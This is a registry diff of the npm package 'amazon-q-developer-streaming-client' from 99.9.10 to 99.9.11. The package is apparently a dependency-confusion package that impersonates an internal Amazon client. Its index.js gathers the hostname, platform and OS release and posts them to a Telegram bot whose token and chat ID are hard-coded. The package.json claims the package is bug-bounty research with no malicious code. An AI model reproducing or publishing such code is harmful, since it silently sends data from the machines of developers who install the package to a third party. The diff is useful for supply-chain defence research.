amazon-q-developer-streaming-client 99.9.10 → 99.9.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +12 -11
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -4,14 +4,13 @@ const os = require('os');
4
4
  const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
5
5
  const CHAT_ID = "8655055695";
6
6
 
7
+ // Message ko simple string banate hain complication hatane ke liye
8
+ const messageText = `🚀 POC TRIGGERED!\nPackage: amazon-q-developer-streaming-client\nHost: ${os.hostname()}\nPlatform: ${os.platform()}\nResearcher: ALONE BEAST`;
9
+
7
10
  const data = JSON.stringify({
8
11
  chat_id: CHAT_ID,
9
- text: `🚀 **Dependency Confusion Hit!**\n\n` +
10
- `📦 **Package:** amazon-q-developer-streaming-client\n` +
11
- `👤 **Researcher:** ALONE BEAST\n` +
12
- `🖥️ **Hostname:** ${os.hostname()}\n` +
13
- `🌐 **Platform:** ${os.platform()} ${os.release()}\n` +
14
- `⏰ **Time:** ${new Date().toISOString()}`
12
+ text: messageText,
13
+ parse_mode: "Markdown"
15
14
  });
16
15
 
17
16
  const options = {
@@ -21,21 +20,23 @@ const options = {
21
20
  method: 'POST',
22
21
  headers: {
23
22
  'Content-Type': 'application/json',
24
- 'Content-Length': data.length
23
+ 'Content-Length': Buffer.byteLength(data)
25
24
  }
26
25
  };
27
26
 
28
27
  const req = https.request(options, (res) => {
29
- res.on('data', (d) => {
30
- process.stdout.write(d);
28
+ let responseBody = '';
29
+ res.on('data', (chunk) => { responseBody += chunk; });
30
+ res.on('end', () => {
31
+ console.log("Telegram Response:", responseBody);
31
32
  });
32
33
  });
33
34
 
34
35
  req.on('error', (error) => {
35
- console.error('Hit failed:', error);
36
+ console.error('Request Error:', error.message);
36
37
  });
37
38
 
38
39
  req.write(data);
39
40
  req.end();
40
41
 
41
- console.log("PoC executed. Checking connectivity...");
42
+ console.log("Sending hit to Telegram...");
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amazon-q-developer-streaming-client",
3
- "version": "99.9.10",
3
+ "version": "99.9.11",
4
4
  "description": "Security research package for internal dependency confusion testing. This package is part of a bug bounty program to identify risks in internal build pipelines. Contains no malicious code.",
5
5
  "keywords": [
6
6
  "security",